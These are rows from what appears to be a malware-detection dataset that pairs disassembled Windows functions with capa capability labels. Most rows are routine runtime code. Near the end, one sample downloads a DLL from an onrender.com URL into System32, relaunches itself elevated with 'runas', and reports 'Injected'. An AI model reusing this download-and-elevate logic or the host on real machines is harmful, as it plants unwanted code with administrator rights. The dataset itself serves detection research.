joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18038277c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x180382860
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1803828c7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1803828c7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1803828c7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1803828c7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1803828c7
cmp dword [rcx + 0x84], 0xe
jbe 0x1803828c7
cmp dword [rcx + 0xf8], 0
je 0x1803828c7
mov ecx, ebx
call fcn.1803827ac
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1803829e0
cmp dword [rbp + 0x20], 0
je 0x180382914
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180382808
int3

Function at 0x18039cf2c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18039cf4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1803831fc
or eax, 0xffffffff
jmp 0x18039cf4e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140339180
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14033d9e0
sub rsp, rax
mov rax, qword [0x140386e40]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x140339242
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14034c594
cmp rax, 1
jne 0x14033929e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14033921f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140339213
cmp rcx, 1
jb 0x14033929e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1403391e0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140339273
lea rcx, [rsp + 0x80]
call fcn.14034f010
jmp 0x140339275
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14033d710
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140340ed0
int3
Function at 0x14033a0f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x1403a179e], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x14033a175
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1403a15f0], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x1403a15f0], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x1403a15f0], rdx
call fcn.1403380a0
cmp eax, ebx
jne 0x14033a2dd
mov byte [0x1403a179e], 1
lea rdx, [0x14035dd50]
mov rcx, rsi
call fcn.14034c040
test eax, eax
je 0x14033a200
cmp byte [0x1403a179d], 1
je 0x14033a200
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a24f0], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a24f8], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2500], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2508], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2510], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2518], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2520], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1403a2528], rax
mov byte [0x1403a179d], 1
mov r8, qword [0x1403a15f0]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x14033a227
inc rax
test cl, cl
jne 0x14033a210
mov ecx, r9d
jmp 0x14033a22c
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x14033a233
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x14033a298
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x14033a275
inc rax
test cl, cl
jne 0x14033a260
mov ecx, r9d
jmp 0x14033a27a
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x14033a281
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x14033a250
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x14033a2c8
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140336670
add rdi, 8
sub rbx, 1
jne 0x14033a2b0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.140348d54
call fcn.140340ed0
int3
Function at 0x14033d2c0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140386e40]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x14033d371
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14034c594
cmp rax, 1
jne 0x14033d3a7
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14033d34d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14033d340
cmp rcx, 1
jb 0x14033d3a7
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14033d310
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14033d710
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140340ed0
int3
Function at 0x14033d470
Capabilities:
Set environment variable

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0xb0
mov rax, qword [0x140386e40]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rax, qword [0x1403a1c10]
mov rbx, r8
mov rdi, rdx
mov rbp, rcx
test rax, rax
jne 0x14033d4bf
lea rcx, [0x14035da24]
call qword [sym.imp.python311.dll_PyImport_ImportModule]
mov qword [0x1403a1c10], rax
test rax, rax
je 0x14033d67b
mov qword [rsp + 0xa8], rsi
lea rdx, str.environ
mov qword [rsp + 0xa0], r12
mov rcx, rax
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x90], r15
call qword [sym.imp.python311.dll_PyObject_GetAttrString]
mov rcx, rdi
mov r14, rax
call qword [sym.imp.python311.dll_PyUnicode_FromString]
mov r15, rax
test rbx, rbx
je 0x14033d564
mov rdx, rbx
mov rcx, rdi
call fcn.14033d2c0
mov rdx, 0xffffffffffffffff
mov rcx, rbx
call qword [sym.imp.python311.dll_PyUnicode_FromWideChar]
mov rdx, r15
mov rcx, r14
mov r8, rax
mov rbx, rax
call qword [sym.imp.python311.dll_PyObject_SetItem]
test eax, eax
je 0x14033d54b
mov ecx, 1
call qword [sym.imp.python311.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python311.dll_Py_Exit]
int3
sub qword [rbx], 1
jne 0x14033d61a
mov rax, qword [rbx + 8]
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x14033d61a
movzx eax, byte [rdi]
lea rbx, [rsp + 0x30]
xor r12d, r12d
mov esi, 0x28
mov word [rsp + 0x30], r12w
test al, al
je 0x14033d5f5
nop
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r12b
lea rcx, [rsp + 0x28]
call fcn.14034c594
cmp rax, 1
jne 0x14033d675
mov rcx, rsi
mov rax, rbx
cmp word [rbx], r12w
je 0x14033d5cd
nop dword [rax]
nop dword [rax + rax]
add rax, 2
dec rcx
cmp word [rax], r12w
jne 0x14033d5c0
cmp rcx, 1
jb 0x14033d675
movzx ecx, word [rsp + 0x28]
inc rdi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r12w
dec rsi
movzx eax, byte [rdi]
test al, al
jne 0x14033d580
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.python311.dll_PyObject_DelItem]
test eax, eax
je 0x14033d61a
mov rcx, rbp
call fcn.14001ca30
sub qword [r15], 1
jne 0x14033d62a
mov rax, qword [r15 + 8]
mov rcx, r15
call qword [rax + 0x30]
sub qword [r14], 1
jne 0x14033d63a
mov rax, qword [r14 + 8]
mov rcx, r14
call qword [rax + 0x30]
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14033d710
add rsp, 0xb0
pop rdi
pop rbp
pop rbx
ret
call fcn.140340ed0
int3
call fcn.140340ed0
int3

Function at 0x14033e178
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14033e1c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14033e1c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14033e1c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14033e1c2
cmp dword [rcx + 0x84], 0xe
jbe 0x14033e1c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14033e1c4
xor al, al
add rsp, 0x28
ret
Function at 0x14034212c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14034219b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14034219b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14034219b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14034219b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14034219b
cmp dword [rcx + 0x84], 0xe
jbe 0x14034219b
cmp dword [rcx + 0xf8], 0
je 0x14034219b
mov ecx, ebx
call fcn.14034224c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140342028
nop
cmp dword [rbp + 0x20], 0
je 0x1403421e9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1403421f4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14034212c

Function at 0x140342330
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14034219b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14034219b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14034219b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14034219b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14034219b
cmp dword [rcx + 0x84], 0xe
jbe 0x14034219b
cmp dword [rcx + 0xf8], 0
je 0x14034219b
mov ecx, ebx
call fcn.14034224c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140342028
nop
cmp dword [rbp + 0x20], 0
je 0x1403421e9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1403421f4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14034212c
Function at 0x140353d50
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140353dd7
mov rsi, rbx
cmp word [rax], bp
je 0x140353d96
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140353d80
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140353d7c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14034f4e8
mov rdi, rax
test rax, rax
je 0x140353dc4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140359a10
mov rbp, rdi
xor ecx, ecx
call fcn.14034fef8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140356080
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140356096
mov al, 1
jmp 0x1403560f6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1403560a7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1403560f4
mov ecx, dword [rcx + 0x18]
nop
call fcn.140354098
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1403560f4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1403560f4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1403560f4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1403560f6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140359860
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140359888
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140359888
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400e4840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400e4850]
mov dword [rax], 1
mov rax, qword [0x1400e4860]
mov dword [rax], 1
mov rax, qword [0x1400e4830]
mov dword [rax], 1
mov rax, qword [0x1400e46d0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400e4820]
mov dword [0x140115020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400e47e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400e47c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400e3d00]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x14000158a
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
mov eax, 0x1228
call fcn.14000cc80
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x11c0], rcx
mov qword [rbp + 0x11c8], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.FileDownloader
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1198], rax
cmp qword [rbp + 0x1198], 0
jne 0x1400015f3
mov ebx, 0
jmp 0x14000175f
mov rax, qword [rbp + 0x1198]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x11c0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x1190], rax
cmp qword [rbp + 0x1190], 0
jne 0x140001658
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x14000175f
mov rdx, qword [rbp + 0x11c8]
lea rax, [rbp + 0xfc0]
mov r8d, 4
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0xfc0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400016ba
mov rax, qword [rbp + 0x1190]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140001750
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1190]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400016f0
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x1400016f0
mov eax, 1
jmp 0x1400016f5
mov eax, 0
test al, al
je 0x140001716
mov eax, dword [rbp - 0x44]
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xfc0]
mov r8, rcx
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
jmp 0x1400016ba
lea rax, [rbp + 0xfc0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov rax, qword [rbp + 0x1190]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp + 0xfc0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
mov eax, ebx
jmp 0x140001780
add rsp, 0x1228
pop rbx
pop rbp
ret
Function at 0x14000178a
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
setne al
test al, al
je 0x140001835
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 4]
test eax, eax
setne al
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140001843
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.runas
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop

Function at 0x140001d76
Capabilities:
Move file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, str.https:__cdn_n49w.onrender.com_uploads_dlls_2Fwin64help2.dll
mov qword [rbp - 8], rax
lea rax, str.C:WindowsSystem32Win64help2.dll
mov qword [rbp - 0x10], rax
lea rax, str.C:WindowsSystem32Win64help.dll
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.DownloadFile_char_const__char_const_
test al, al
je 0x140001deb
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov r9d, 0
lea r8, [0x1400dd024]
lea rdx, str.Injected_please_do_not_close_nox_tools_till_you_are_done_playing_fortnite
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x140001e0d
mov r9d, 0x10
lea r8, [0x1400dd024]
lea rdx, str.Failed_to_ddn
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x14000bfb0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x14000c020
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1401150d4]
mov r12, rcx
test ebx, ebx
jle 0x14000c150
mov rax, qword [0x1401150d8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000c06c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000c0f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000c050
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x14000c172
mov rax, qword [0x1401150d8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1401150d8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000c157
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000c0ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000c100
add dword [0x1401150d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1401150d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000c0ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x14000c077
mov rax, qword [0x1401150d8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c630
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140115140]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140115120]
test rbx, rbx
je 0x14000c684
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000c67b
test r12, r12
je 0x14000c67b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c660
lea rcx, [0x140115140]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]